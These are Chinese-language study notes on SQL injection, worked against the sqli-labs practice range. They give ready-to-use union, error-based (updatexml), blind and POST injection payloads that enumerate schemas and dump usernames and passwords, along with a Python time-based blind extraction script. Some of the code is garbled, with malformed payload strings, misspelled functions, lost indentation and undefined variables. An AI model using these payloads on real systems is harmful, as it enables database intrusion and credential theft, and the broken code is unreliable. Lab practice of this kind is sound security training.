sql注入知识整理
一、SQL注入概念
SQL注入就是用户输入的一些语句没有被过滤,输入后诸如这得到了数据库的信息SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 数据库引擎的实例以进行分析和执行。 任何构成 SQL 语句的过程都应进行注入漏洞检查,因为数据库引擎将执行其接收到的所有语法有效的查询。
工作原理:
SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。 一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。 在存储的字符串随后串连到一个动态 SQL 命令中时,将执行该恶意代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。 由于插入的命令可能在执行前追加额外字符串,因此攻击者将用批注标记 --
来标记终止注入的字符串。
二、sqllab靶场
联合注入
用order by检测列数,让第一个表查询为空,最终是为了注入管理员的账号密码,首先要管理员表名,要列名
我们需要注意的是在SQL注入中单引号,空格,#都会转义为%27,%20,%23
less-1/?id=1‘ order by 3--+
这里还能显示出来账号密码
less-1/?id=1‘ order by 4--+
这里黄色注释说明数据库一共只有三列。
然后利用联合查询
less-1/?id=-1'union select 1,2,3--+
使用 -1
作为 id
参数的原因通常是为了确保前面的查询部分没有返回任何有效的记录
现在我们就可以来爆破它的数据库名
less-1/?id=-1'union select 1,database(),version()--+
我们可以定位到这两个:
这里面有两张一个表名,一个是列名,于是我么可以尝试注入
less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
less-1/?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
报错注入
less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
- updatexml 函数的第一个参数,它通常应该是一个 XML 类型的表达式,但在这里它被用作引发错误的方式。
- 0x7e:这是十六进制表示的 ~ 字符。它用来在错误消息中包裹输出内容。
- (SELECT database()):这是一个子查询,用于获取当前数据库的名称。
- concat(…):将这些片段连接成一个字符串,形式为 数据库名。
- updatexml 函数的第三个参数,也是用来引发错误的方式。
- group by分组
盲注
SQL注入是一种安全漏洞,攻击者通过向应用程序的输入字段插入SQL命令,影响数据库的执行。盲注是一种特殊的SQL注入形式,它不需要直接从应用程序获取错误信息,而是通过时间延迟来推断数据库的响应。
盲注的种类通常包括:
- 基于布尔的盲注:攻击者使用条件表达式(如
AND (SELECT ...)=(SELECT ...)
)来判断查询是否返回结果,从而推断数据。 - 基于时间的盲注:攻击者使用
SLEEP()
函数或其他导致延迟的函数来判断查询是否返回结果。 - 基于错误的盲注:攻击者使用
UNION SELECT
查询来获取数据库的错误信息。
页面有真有假
less-8/?id=1'and ascii(substr((select database()),1,1))=115--+
在这里,substr((select database()),1,1) 表示从数据库名称中提取第一个字符,这里=号也可以换成< >符号进行判断
less-8/?id=1'and length((select database()))>9--+
主要用到substr,ascii,length函数。
可以通过二分查找的python脚本直接将数据库名跑出来:
l = 'http://127.0.0.1/sql/Less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
通过修改payload再将列名跑出:
l = 'http://127.0.0.1/sql/Less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr((selectgroup_concat(table_namefrpm)information——schema。tables where table_schema=’security‘, %d, 1)) > %d-- “ % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
POST注入
post注入本质在于将用户输入的数据作为代码执行。这种攻击通常发生在用户通过POST请求提交数据时,如果程序没有对用户输入进行适当的过滤或验证,攻击者就可以通过在提交的数据中插入恶意注入来访问、修改或删除数据库中的数据。POST注入的高危点包括登录框、查询框以及任何与数据库有交互的表单。
1、输入1’出现报错语句,发现注入点
2、爆出列数
在使用order时候,发现使用第三行排序时会报错
3、使用联合查询爆出数库名
-1' union select databane(),2#
4,爆出表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
5,爆出列字
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
6.出数据
-1' union select group_concat(username),group_concat(password) from users#